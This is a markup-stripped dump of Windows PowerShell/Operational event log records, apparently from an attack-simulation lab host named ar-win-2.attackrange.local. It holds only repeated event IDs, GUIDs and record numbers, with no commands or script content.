410615103150x0677649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 